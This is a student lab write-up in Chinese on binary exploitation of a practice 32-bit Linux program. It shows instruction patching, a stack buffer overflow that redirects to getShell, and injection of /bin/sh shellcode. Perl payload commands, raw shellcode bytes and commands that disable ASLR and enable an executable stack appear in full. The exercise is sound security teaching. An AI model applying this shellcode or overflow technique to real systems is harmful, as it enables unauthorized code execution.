2018-2019-2 20165314《网络对抗技术》Exp1 PC平台逆向破解
实践目的
- 本次实践的对象是一个名为
pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。 - 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行Shellcode。
基础知识
NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果
实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

这张图是进程地址空间分布的简单表示。代码存储了用户程序的所有可执行代码,在程序正常执行的情况下,程序计数器(PC指针)只会在代码段和操作系统地址空间(内核态)内寻址。数据段内存储了用户程序的全局变量,文字池等。栈空间存储了用户程序的函数栈帧(包括参数、局部数据等),实现函数调用机制,它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等,数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域,其他的内存区域都可能作为缓冲区,因此缓冲区溢出的位置可能在数据段,也可能在堆、栈段。如果程序的代码有软件漏洞,恶意程序会“教唆”程序计数器从上述缓冲区内取指,执行恶意程序提供的数据代码!(如果我没理解错的话,实验二三就是让堆里的数据溢出到栈里吗。?) - 注入一个自己制作的shellcode并运行这段shellcode。
任务一、直接修改程序机器指令,改变程序执行流程
使用`objdump -d 20165314pwn1`将pwn1反汇编

不难看出,80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令,在main函数中调用位于地址8048491处的foo函数,e8表示“call”,即跳转。
如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff。
修改步骤如下:
1.vim 20165314pwn1进入命令模式
2.输入:%!xxd将显示模式切换为十六进制
3.在底行模式输入/e8 d7定位需要修改的地方,并确认

4.进入插入模式,修改d7为c3

5.输入:%!xxd -r将十六进制转换为原格式
6.输入:wq保存并退出
反汇编查看修改后的代码,发现call指令正确调用getShell

运行修改后的代码,可以得到shell提示符

任务二、通过构造输入参数,造成BOF攻击,改变程序执行流
实验思路:

pwn2正常运行是调用函数foo,这个函数有Bufferoverflow漏洞。读入字符串时,系统只预留了一定字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。
1、运行pwn2,打开另一个终端窗口进入gdb,在foo函数的ret指令处设置断点,回到pwn2运行的终端输入字串1111111122222222333333334444444455555555,观察一下各寄存器的值
此时eip寄存器中的值为0x35353535,即5555的ASCII码。eip寄存器的值是保存程序下一步所要执行指令的地址,此处我们可以看出本来应返回到foo函数的返回地址已被"5555"覆盖。

2、将输入字符串的“55555555”改成“12345678”,此时寄存器eip的值,换算成ASCⅡ码刚好是1234。
也就是说如果输入字符串1111111122222222333333334444444412345678,那1234那4个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输给pwn2,pwn2就会运行getShell由反汇编结果可知getShell的内存地址为:0804847d,因无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)
3、输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,由于kali系统采用的是大端法,所以构造内存地址时注意顺序,末尾的\0a表示回车换行。
4、然后将input```,通过管道符“|”,作为pwn1的输入,格式为```(cat input; cat ) | ./pwn。

攻击成功
任务三、注入Shellcode并运行攻击
实验思路:注入shellcode使覆盖后的返回地址为shellcode()的起始地址

- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 首先使用
apt-get install execstack命令安装execstack。
修改以下内容
设置堆栈可执行 execstack -s pwn2
查询文件的堆栈是否可执行 execstack -q pwn2//预期结果应为“X pwn2”
关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
查询地址随机化是否关闭(0代表关闭,2代表开启)
more /proc/sys/kernel/randomize_va_space

3.1 构造攻击buf(采用 retaddr+nop+shellcode 方法)
采用老师提供的shellcode 的代码\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00,
用perl语言输入代码perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。

3.2确定返回地址的值
将写好的代码通过管道方式输入给程序pwn2中的foo函数进行覆盖(cat input_shellcode;cat) | ./pwn2,打开另外一个终端,用gdb来调试pwn2ps -ef | grep pwn2确定pwn2的进程号
- 启动gdb调试这个程序
gdb,attach 3900

- 设置断点来查看注入buf的内存地址
disassemble foo
ret的地址为0x080484ae,ret执行完就会跳到我们覆盖的返回地址了 break *0x080484ae设置断点- 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
- 再在gdb调试的终端输入 c 继续运行程序
- 通过
info r esp查看esp寄存器的地址

上图可以看到 01020304所在的地址为0xffffd28c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd28c + 0x00000004 = 0xffffd290
退出gdb调试。 - 修改注入代码的覆盖地址
输入perl -e 'print "A" x 32;printt"\x40\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行程序,攻击成功

实验中遇到问题及解决方法
Q:下载的pwn1无法修改,提示权限不够
A:输入chmod a+x pwn1修改权限即可,关于出现这个问题的原因我跟其他同学讨论了一下,得到的结论是64位的大段机器不能直接运行pwn,但是32位的小端机器可以直接运行,but..why?
Q:注入修改后的shellcode之后运行pwn3提示段错误
A:重新设置堆栈可执行
Q:实验一中修改pwn1后无法运行
A:在十六进制下修改pwn1文件之后要用%!xxd -r改回原来的格式
PS:周一有同学问我pwn执行提示无法执行二进制文件,老师在群里说是没安装32位的库所以不兼容的问题,我拿做完实验二的pwn2试了一下也出现这种问题,所以我以为是注入的代码会对程序本身造成破坏 ,但是我第二天把初始pwn1重新做了一遍就没出现这种情况
实验收获与感想
收获:进一步理解了缓存溢出的过程与危害,学会了利用BOF漏洞进行攻击,自己上手操作还是会有很多细节做得不对或者不懂,还是应该多问问老师和其他同学
什么是漏洞?有什么危害
emmm看到这个问题我愣了一下,就这么让我描述我有点懵,复制一句我百度到的,“漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。”其实这里说的破坏并不只是指实体层次的破坏,也有可能是功能层面的破坏,就比如说我们学过的SYNFLOOD攻击,利用TCP协议等待响应包的漏洞,使得目标机无法响应正常包,而目标机器本身并没有被破坏。漏洞的危害一句话说就是被攻击者会执行未授权的服务,或无法执行已授权的服务,例如,无法正常响应收到的包,又或者是访问者可以访问未收钱的数据等等。
2018-2019-2 20165314《网络对抗技术》Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- 标准3层神经网络搭建Demo
上面我们说了神经网络的基础知识,根据上章的基础尝试搭建一个标准的3层神经网络,参考https://www.cnblogs.com/bestExpert/p/9128645.html 1.框架代码 1. ...
- django xadmin(2) 在xadmin基础上完成自定义页面
1.在xadmin.py,GlobalSettings中自定义菜单 2.自定义视图函数,并获取原来的菜单等一下信息(主要是为了用xadmin的模板),具体的自己看xadmin源码 3.在adminx. ...
- leanote使用本地账户时,去掉待同步的小红点
切换开发者工具,如下图,点击左上角的箭头图标,选取元素,直接选择小红点. 然后会看到小红点来自于resources/app/public/themes/default.css文件中2092行: .it ...
- Python 目录指引
1.0 Python 基础整合 1.1 变量 1.2 数据类型 1.3 基础语法 1.4 文件操作 1.5 函数 1.6 生成器 1.7 迭代器 1.8 装饰器 1.9 字符集 2.0 Python ...
- [debian]use ISO as debian apt source / 使用ISO文件作为apt源
准备文件: debian-9.8.0-amd64-DVD-1.iso debian-9.8.0-amd64-DVD-2.iso debian-9.8.0-amd64-DVD-3.iso 挂载: roo ...
- bzoj3168 钙铁锌硒维生素 (矩阵求逆+二分图最小字典序匹配)
设第一套为A,第二套为B 先对于每个B[i]判断他能否替代A[j],即B[i]与其他的A线性无关 设$B[i]=\sum\limits_{k}{c[k]*A[k]}$,那么只要看c[j]是否等于零即可 ...
- k-均值聚类算法1
一.k-means算法: 1.优缺点: 优点:容易实现. 缺点:可能收敛到局部最小值,在大规模数据集上收敛较慢. 2.伪代码描述:
- Spring Cloud 微服务
https://mp.weixin.qq.com/s?__biz=MzU0OTE4MzYzMw==&mid=2247486301&idx=2&sn=f6d45860269b61 ...
- C++ STL的一些操作
priority_queue 最常用的当然是在dij的时候. #include <queue> struct node { int x, dis; bool operator < ( ...
- layui模板引擎
<在模板中调用js方法> 1.js代码 layui.define(['laytpl', 'jquery'], function (exports) { var $ = layui.jque ...